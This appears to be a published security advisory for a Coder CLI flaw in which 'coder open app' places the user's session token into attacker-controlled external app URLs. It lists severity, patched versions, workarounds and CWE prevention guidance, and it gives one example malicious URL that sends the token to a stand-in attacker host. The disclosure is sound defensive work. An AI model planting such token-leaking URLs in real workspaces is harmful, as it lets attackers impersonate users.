GHSA-v54h-cp2w-9x4g CVE-2026-55431 GO-2026-5924
Coder's session token leaked to arbitrary hosts via `coder open app` for external workspace apps
- Severity
- 7.7 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.34%
- Chance of exploitation in the next 30 days. Higher than 27.05% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-522 Insufficiently Protected Credentials
- CWE-601 URL Redirection to Untrusted Site ('Open Redirect')
- Fix
2.34.2- Upgrade github.com/coder/coder/v2 to this version or later
Description
Summary
coder open app opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the $SESSION_TOKEN placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler.
Note: Practical exploitation requires the victim to run
coder open appagainst a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs.
Impact
Workspace code can register external apps with arbitrary URLs so an attacker who controls workspace contents can define a URL like https://attacker.example/?t=$SESSION_TOKEN. Running coder open app then sends the user's session token to the attacker and enables full account impersonation for the token's lifetime. The same path can invoke arbitrary local URI scheme handlers. Exploitation requires the user to run coder open app against a workspace that contains a malicious external app.
Patches
The fix applies a URL-scheme allowlist in the CLI and limits $SESSION_TOKEN substitution to trusted destinations like the web frontend.
The fix was backported to all supported release lines:
| Release line | Patched version |
|---|---|
| 2.34 | v2.34.2 |
| 2.33 | v2.33.8 |
| 2.32 | v2.32.7 |
| 2.29 (ESR) | v2.29.17 |
Workarounds
Avoid running coder open app for untrusted workspaces.
Resources
- Fix: #26146
Credits
Coder would like to thank Anthropic's Security Team (ANT-2026-22457) for independently disclosing this issue!
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/coder/coder | all versions |
No fix yet |
| github.com/coder/coder/v2 | >= 2.34.0, < 2.34.2 |
2.34.2 |
| github.com/coder/coder/v2 | >= 2.33.0, < 2.33.8 |
2.33.8 |
| github.com/coder/coder/v2 | >= 2.30.0, < 2.32.7 |
2.32.7 |
| github.com/coder/coder/v2 | < 2.29.17 |
2.29.17 |
| github.com/coder/coder/v2 | < 2.29.17>= 2.30.0, < 2.32.7>= 2.33.0, < 2.33.8>= 2.34.0, < 2.34.2 |
2.29.172.32.72.33.82.34.2 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/coder/coder/v2 Go → 2.34.2
- go
go get github.com/coder/coder/v2@v2.34.2 && go mod tidy
Severity breakdown
CVSS 3.1 7.7
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N
- Attack vector
- Network
- Attack complexity
- High
- Privileges required
- Low
- User interaction
- Required
- Scope
- Changed
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Weakness
CWE-522: Insufficiently Protected Credentials
The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.
How to prevent it
- Architecture and Design: Use an appropriate security mechanism to protect the credentials.
- Architecture and Design: Make appropriate use of cryptography to protect the credentials.
- Implementation: Use industry standards to protect the credentials (e.g. LDAP, keystore, etc.).
CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect.
How to prevent it
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. Use a list of approved URLs or domains to be used for redirection.
- Architecture and Design: Use an intermediate disclaimer page that provides the user with a clear warning that they are leaving the current site. Implement a long timeout before the redirect occurs, or force the user to click on the link. Be careful to avoid XSS problems (CWE-79) when generating the disclaimer page.
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "/login.asp" and ID 2 could map to "http://www.example.com/". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.
- Architecture and Design: Ensure that no externally-supplied requests are honored by requiring that all redirect requests include a unique nonce generated by the application [REF-483]. Be sure that the nonce is not predictable (CWE-330).
- Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many open redirect problems occur because the programmer assumed that certain inputs could not be modified, such as cookies and hidden form fields.
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-h58c-xccx-75m3 Coder: Stored HTML injection via unescaped ApplicationName and LogoURL appearance settings | Medium | Also affects github.com/coder/coder |
| GHSA-8fxq-53rx-ph5f Coder: Login endpoint user enumeration via timing-defense placeholder in password comparison | Medium | Also affects github.com/coder/coder |
| GHSA-qrwj-vh9x-gw5v Coder's workspace agent API insecure redirect handling allowed cross-agent file read and write | High | Also affects github.com/coder/coder |
| GHSA-5wg6-jmq2-53pw Coder's workspace app CORS origin check can be bypassed via UUID-based subdomain spoofing | Medium | Also affects github.com/coder/coder |
| GHSA-7qw2-f75v-62f7 Coder vulnerable to stored HTML injection via workspace agent logs in AgentLogLine component | Medium | Also affects github.com/coder/coder |
| GHSA-84rm-42xw-mx52 Coder's AI Bridge Proxy skips TLS certificate verification in default configuration | High | Also affects github.com/coder/coder |
| GHSA-wqxv-w64v-5wh6 Suspended Coder users retain access to AI Bridge LLM proxy endpoints | Medium | Also affects github.com/coder/coder |
| GHSA-f5vp-w269-392g Coder vulnerable to denial of service via unbounded request body in AI Bridge provider endpoints | Medium | Also affects github.com/coder/coder |
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